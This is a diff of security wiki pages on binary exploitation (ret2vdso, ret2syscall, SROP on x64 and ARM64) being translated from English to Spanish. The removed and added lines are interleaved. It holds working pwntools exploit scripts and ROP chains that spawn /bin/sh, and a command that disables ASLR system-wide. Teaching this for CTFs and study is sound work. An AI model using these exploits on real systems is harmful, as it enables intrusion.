rop2 = generate_payload_aligned(rop2) rop2 = generate_payload_aligned(rop2)
print(P.clean()) print(P.clean())
@ -189,41 +184,30 @@ P.sendline(rop2)
P.interactive() #Interact with your shell :) P.interactive() #Interact with your shell :)
``` ```
## Problemas comunes
## Common problems ### MAIN_PLT = elf.symbols\['main'] no encontrado
### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code:
Si el símbolo "main" no existe (probablemente porque es un binario eliminado). Entonces solo puedes encontrar dónde está el código principal:
```python ```python
objdump -d vuln_binary | grep "\.text" objdump -d vuln_binary | grep "\.text"
Disassembly of section .text: Disassembly of section .text:
0000000000401080 <.text>: 0000000000401080 <.text>:
``` ```
y establece la dirección manualmente:
and set the address manually:
```python ```python
MAIN_PLT = 0x401080 MAIN_PLT = 0x401080
``` ```
### Puts no encontrado
### Puts not found Si el binario no está utilizando Puts, deberías **verificar si está utilizando**
If the binary is not using Puts you should **check if it is using** ### `sh: 1: %s%s%s%s%s%s%s%s: no encontrado`
### `sh: 1: %s%s%s%s%s%s%s%s: not found` Si encuentras este **error** después de crear **todo** el exploit: `sh: 1: %s%s%s%s%s%s%s%s: no encontrado`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
Intenta **restar 64 bytes a la dirección de "/bin/sh"**:
```python ```python
BINSH = next(libc.search("/bin/sh")) - 64 BINSH = next(libc.search("/bin/sh")) - 64
``` ```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,11 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region. Puede haber **gadgets en la región vDSO**, que se utiliza para cambiar del modo usuario al modo kernel. En este tipo de desafíos, generalmente se proporciona una imagen del kernel para volcar la región vDSO.
Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with:
Siguiendo el ejemplo de [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) es posible ver cómo se pudo volcar la sección vdso y moverla al host con:
```bash ```bash
# Find addresses # Find addresses
cat /proc/76/maps cat /proc/76/maps
@ -33,9 +32,7 @@ echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso file vdso
ROPgadget --binary vdso | grep 'int 0x80' ROPgadget --binary vdso | grep 'int 0x80'
``` ```
Gadgets ROP encontrados:
ROP gadgets found:
```python ```python
vdso_addr = 0xf7ffc000 vdso_addr = 0xf7ffc000
@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret # 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
``` ```
> [!CAUTION] > [!CAUTION]
> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) > Nota, por lo tanto, cómo podría ser posible **eludir ASLR abusando del vdso** si el kernel está compilado con CONFIG_COMPAT_VDSO ya que la dirección del vdso no será aleatorizada: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
### ARM64 ### ARM64
After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page: Después de volcar y verificar la sección vdso de un binario en kali 2023.2 arm64, no pude encontrar allí ningún gadget interesante (sin forma de controlar registros a partir de valores en la pila o controlar x30 para un ret) **excepto una forma de llamar a un SROP**. Consulta más información en el ejemplo de la página:
{{#ref}} {{#ref}}
srop-sigreturn-oriented-programming/srop-arm64.md srop-sigreturn-oriented-programming/srop-arm64.md

View File

@ -2,26 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions. Esto es similar a Ret2lib, sin embargo, en este caso no estaremos llamando a una función de una biblioteca. En este caso, todo estará preparado para llamar a la syscall `sys_execve` con algunos argumentos para ejecutar `/bin/sh`. Esta técnica se realiza generalmente en binarios que están compilados estáticamente, por lo que puede haber muchos gadgets e instrucciones de syscall.
In order to prepare the call for the **syscall** it's needed the following configuration: Para preparar la llamada a la **syscall** se necesita la siguiente configuración:
- `rax: 59 Specify sys_execve` - `rax: 59 Especificar sys_execve`
- `rdi: ptr to "/bin/sh" specify file to execute` - `rdi: ptr a "/bin/sh" especificar archivo a ejecutar`
- `rsi: 0 specify no arguments passed` - `rsi: 0 especificar que no se pasan argumentos`
- `rdx: 0 specify no environment variables passed` - `rdx: 0 especificar que no se pasan variables de entorno`
So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area. Así que, básicamente, se necesita escribir la cadena `/bin/sh` en algún lugar y luego realizar la `syscall` (teniendo en cuenta el padding necesario para controlar la pila). Para esto, necesitamos un gadget para escribir `/bin/sh` en un área conocida.
> [!TIP] > [!TIP]
> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/). > Otra syscall interesante para llamar es **`mprotect`** que permitiría a un atacante **modificar los permisos de una página en memoria**. Esto se puede combinar con [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
## Register gadgets ## Gadgets de Registro
Let's start by finding **how to control those registers**:
Comencemos por encontrar **cómo controlar esos registros**:
```bash ```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret 0x0000000000415664 : pop rax ; ret
@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret 0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret 0x00000000004498b5 : pop rdx ; ret
``` ```
Con estas direcciones es posible **escribir el contenido en la pila y cargarlo en los registros**.
With these addresses it's possible to **write the content in the stack and load it into the registers**. ## Escribir cadena
## Write string ### Memoria escribible
### Writable memory
First you need to find a writable place in the memory
Primero necesitas encontrar un lugar escribible en la memoria.
```bash ```bash
gef> vmmap gef> vmmap
[ Legend: Code | Heap | Stack ] [ Legend: Code | Heap | Stack ]
@ -46,26 +43,20 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
``` ```
### Escribir cadena en memoria
### Write String in memory Luego necesitas encontrar una manera de escribir contenido arbitrario en esta dirección.
Then you need to find a way to write arbitrary content in this address
```python ```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
``` ```
### Automatizar la cadena ROP
### Automate ROP chain El siguiente comando crea una cadena ROP completa `sys_execve` dada una binaria estática cuando hay gadgets de write-what-where e instrucciones de syscall:
The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
```bash ```bash
ROPgadget --binary vuln --ropchain ROPgadget --binary vuln --ropchain
``` ```
#### 32 bits #### 32 bits
```python ```python
''' '''
Lets write "/bin/sh" to 0x6b6000 Lets write "/bin/sh" to 0x6b6000
@ -87,9 +78,7 @@ rop += popRax
rop += p32(0x6b6000 + 4) rop += p32(0x6b6000 + 4)
rop += writeGadget rop += writeGadget
``` ```
#### 64 bits #### 64 bits
```python ```python
''' '''
Lets write "/bin/sh" to 0x6b6000 Lets write "/bin/sh" to 0x6b6000
@ -105,17 +94,15 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx rop += writeGadget #Address to: mov qword ptr [rax], rdx
``` ```
## Gadgets Faltantes
## Lacking Gadgets Si te **faltan gadgets**, por ejemplo para escribir `/bin/sh` en memoria, puedes usar la **técnica SROP para controlar todos los valores de los registros** (incluyendo RIP y los registros de parámetros) desde la pila:
If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
{{#ref}} {{#ref}}
../srop-sigreturn-oriented-programming/ ../srop-sigreturn-oriented-programming/
{{#endref}} {{#endref}}
## Exploit Example ## Ejemplo de Explotación
```python ```python
from pwn import * from pwn import *
@ -182,14 +169,13 @@ target.sendline(payload)
target.interactive() target.interactive()
``` ```
## Otros Ejemplos y Referencias
## Other Examples & References
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html) - [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
- 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there. - 64 bits, sin PIE, nx, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí.
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html) - [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
- 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused - 64 bits, nx, sin PIE, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí. Para escribir en la pila se abusa de una función que realiza operaciones matemáticas.
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. - 64 bits, sin PIE, nx, BF canary, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,80 +2,73 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in: Encuentra una introducción a arm64 en:
{{#ref}} {{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}} {{#endref}}
## Code ## Código
We are going to use the example from the page: Vamos a usar el ejemplo de la página:
{{#ref}} {{#ref}}
../../stack-overflow/ret2win/ret2win-arm64.md ../../stack-overflow/ret2win/ret2win-arm64.md
{{#endref}} {{#endref}}
```c ```c
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
void win() { void win() {
printf("Congratulations!\n"); printf("Congratulations!\n");
} }
void vulnerable_function() { void vulnerable_function() {
char buffer[64]; char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
} }
int main() { int main() {
vulnerable_function(); vulnerable_function();
return 0; return 0;
} }
``` ```
Compilar sin pie y canario:
Compile without pie and canary:
```bash ```bash
clang -o ret2win ret2win.c -fno-stack-protector clang -o ret2win ret2win.c -fno-stack-protector
``` ```
## Gadgets ## Gadgets
In order to prepare the call for the **syscall** it's needed the following configuration: Para preparar la llamada para el **syscall** se necesita la siguiente configuración:
- `x8: 221 Specify sys_execve` - `x8: 221 Especificar sys_execve`
- `x0: ptr to "/bin/sh" specify file to execute` - `x0: ptr a "/bin/sh" especificar archivo a ejecutar`
- `x1: 0 specify no arguments passed` - `x1: 0 especificar que no se pasan argumentos`
- `x2: 0 specify no environment variables passed` - `x2: 0 especificar que no se pasan variables de entorno`
Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
Usando ROPgadget.py pude localizar los siguientes gadgets en la biblioteca libc de la máquina:
```armasm ```armasm
;Load x0, x1 and x3 from stack and x5 and call x5 ;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30: 0x0000000000114c30:
ldp x3, x0, [sp, #8] ; ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ; ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ; ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ; ldr x2, [sp, #0xe0] ;
blr x5 blr x5
;Move execve syscall (0xdd) to x8 and call it ;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c : 0x00000000000bb97c :
nop ; nop ;
nop ; nop ;
mov x8, #0xdd ; mov x8, #0xdd ;
svc #0 svc #0
``` ```
Con los gadgets anteriores, podemos controlar todos los registros necesarios desde la pila y usar x5 para saltar al segundo gadget para llamar a la syscall.
With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.
> [!TIP] > [!TIP]
> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example. > Tenga en cuenta que conocer esta información de la biblioteca libc también permite realizar un ataque ret2libc, pero usemos esto para el ejemplo actual.
### Exploit ### Exploit
```python ```python
from pwn import * from pwn import *
@ -124,5 +117,4 @@ p.sendline(payload)
p.interactive() p.interactive()
``` ```
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,26 +1,25 @@
# SROP - Sigreturn-Oriented Programming # SROP - Programación Orientada a Señales
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals. **`Sigreturn`** es una **syscall** especial que se utiliza principalmente para limpiar después de que un manejador de señales ha completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **manejador de señales**, una función especial diseñada para tratar con señales.
After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler. Después de que el manejador de señales termina, el programa necesita **reanudar su estado anterior** como si nada hubiera pasado. Aquí es donde **`sigreturn`** entra en juego. Ayuda al programa a **volver del manejador de señales** y restaura el estado del programa limpiando el marco de pila (la sección de memoria que almacena llamadas a funciones y variables locales) que fue utilizado por el manejador de señales.
The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack. La parte interesante es cómo **`sigreturn`** restaura el estado del programa: lo hace almacenando **todos los valores de los registros de la CPU en la pila.** Cuando la señal ya no está bloqueada, **`sigreturn` saca estos valores de la pila**, restableciendo efectivamente los registros de la CPU a su estado antes de que se manejara la señal. Esto incluye el registro del puntero de pila (RSP), que apunta a la parte superior actual de la pila.
> [!CAUTION] > [!CAUTION]
> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`. > Llamar a la syscall **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría que cargara en la **pila** es posible para **controlar** todos los valores de registro y, por lo tanto, **llamar** por ejemplo a la syscall `execve` con `/bin/sh`.
Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls: Nota cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de parámetros para llamar a otras Ret2syscalls:
{{#ref}} {{#ref}}
../rop-syscall-execv/ ../rop-syscall-execv/
{{#endref}} {{#endref}}
If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): Si tienes curiosidad, esta es la **estructura sigcontext** almacenada en la pila para recuperar más tarde los valores (diagrama de [**aquí**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)):
``` ```
+--------------------+--------------------+ +--------------------+--------------------+
| rt_sigeturn() | uc_flags | | rt_sigeturn() | uc_flags |
@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l
| __reserved | sigmask | | __reserved | sigmask |
+--------------------+--------------------+ +--------------------+--------------------+
``` ```
Para una mejor explicación, consulta también:
For a better explanation check also:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## Example ## Ejemplo
You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there:
Puedes [**encontrar un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) donde la llamada a signeturn se construye a través de ROP (poniendo en rxa el valor `0xf`), aunque este es el exploit final desde allí:
```python ```python
from pwn import * from pwn import *
@ -91,9 +88,7 @@ payload += bytes(frame)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
Revisa también el [**exploit desde aquí**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) donde el binario ya estaba llamando a `sigreturn` y por lo tanto no es necesario construir eso con un **ROP**:
Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**:
```python ```python
from pwn import * from pwn import *
@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload
# Drop to an interactive shell # Drop to an interactive shell
target.interactive() target.interactive()
``` ```
## Otros Ejemplos y Referencias
## Other Examples & References
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary. - Binario de ensamblaje que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/) a través de una estructura **sigreturn** y leer la bandera que está dentro de la memoria del binario.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`). - Binario de ensamblaje que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/) a través de una estructura **sigreturn** (el binario tiene la cadena `/bin/sh`).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell. - 64 bits, sin relro, sin canario, nx, sin pie. Desbordamiento de búfer simple abusando de la función `gets` con falta de gadgets que realiza un [**ret2syscall**](../rop-syscall-execv/). La cadena ROP escribe `/bin/sh` en la `.bss` llamando a gets nuevamente, abusa de la función **`alarm`** para establecer eax en `0xf` para llamar a un **SROP** y ejecutar un shell.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it. - Programa de ensamblaje de 64 bits, sin relro, sin canario, nx, sin pie. El flujo permite escribir en la pila, controlar varios registros y llamar a una syscall y luego llama a `exit`. La syscall seleccionada es un `sigreturn` que establecerá registros y moverá `eip` para llamar a una instrucción de syscall anterior y ejecutar `memprotect` para establecer el espacio binario en `rwx` y establecer el ESP en el espacio binario. Siguiendo el flujo, el programa llamará a read en ESP nuevamente, pero en este caso ESP apuntará a la siguiente instrucción, por lo que pasar un shellcode lo escribirá como la siguiente instrucción y lo ejecutará.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed. - SROP se utiliza para otorgar privilegios de ejecución (memprotect) al lugar donde se colocó un shellcode.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Pwntools example ## Ejemplo de Pwntools
This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**:
Este ejemplo crea el binario vulnerable y lo explota. El binario **lee en la pila** y luego llama a **`sigreturn`**:
```python ```python
from pwn import * from pwn import *
@ -33,55 +32,49 @@ p = process(binary.path)
p.send(bytes(frame)) p.send(bytes(frame))
p.interactive() p.interactive()
``` ```
## ejemplo de bof
## bof example ### Código
### Code
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
#include <unistd.h> #include <unistd.h>
void do_stuff(int do_arg){ void do_stuff(int do_arg){
if (do_arg == 1) if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;"); __asm__("mov x8, 0x8b; svc 0;");
return; return;
} }
char* vulnerable_function() { char* vulnerable_function() {
char buffer[64]; char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer; return buffer;
} }
char* gen_stack() { char* gen_stack() {
char use_stack[0x2000]; char use_stack[0x2000];
strcpy(use_stack, "Hello, world!"); strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function(); char* b = vulnerable_function();
return use_stack; return use_stack;
} }
int main(int argc, char **argv) { int main(int argc, char **argv) {
char* b = gen_stack(); char* b = gen_stack();
do_stuff(2); do_stuff(2);
return 0; return 0;
} }
``` ```
Compílalo con:
Compile it with:
```bash ```bash
clang -o srop srop.c -fno-stack-protector clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
``` ```
## Exploit ## Exploit
The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`. El exploit abusa del bof para regresar a la llamada a **`sigreturn`** y preparar la pila para llamar a **`execve`** con un puntero a `/bin/sh`.
```python ```python
from pwn import * from pwn import *
@ -110,44 +103,40 @@ payload += bytes(frame)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
## ejemplo de bof sin sigreturn
## bof example without sigreturn ### Código
### Code
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
#include <unistd.h> #include <unistd.h>
char* vulnerable_function() { char* vulnerable_function() {
char buffer[64]; char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer; return buffer;
} }
char* gen_stack() { char* gen_stack() {
char use_stack[0x2000]; char use_stack[0x2000];
strcpy(use_stack, "Hello, world!"); strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function(); char* b = vulnerable_function();
return use_stack; return use_stack;
} }
int main(int argc, char **argv) { int main(int argc, char **argv) {
char* b = gen_stack(); char* b = gen_stack();
return 0; return 0;
} }
``` ```
## Exploit ## Exploit
In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**: En la sección **`vdso`** es posible encontrar una llamada a **`sigreturn`** en el offset **`0x7b0`**:
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it: Por lo tanto, si se filtra, es posible **usar esta dirección para acceder a un `sigreturn`** si el binario no lo está cargando:
```python ```python
from pwn import * from pwn import *
@ -176,14 +165,13 @@ payload += bytes(frame)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
Para más información sobre vdso, consulta:
For more info about vdso check:
{{#ref}} {{#ref}}
../ret2vdso.md ../ret2vdso.md
{{#endref}} {{#endref}}
And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info: Y para eludir la dirección de `/bin/sh`, podrías crear varias variables de entorno que apunten a ella, para más información:
{{#ref}} {{#ref}}
../../common-binary-protections-and-bypasses/aslr/ ../../common-binary-protections-and-bypasses/aslr/

View File

@ -2,37 +2,34 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## What is a Stack Overflow ## Qué es un Stack Overflow
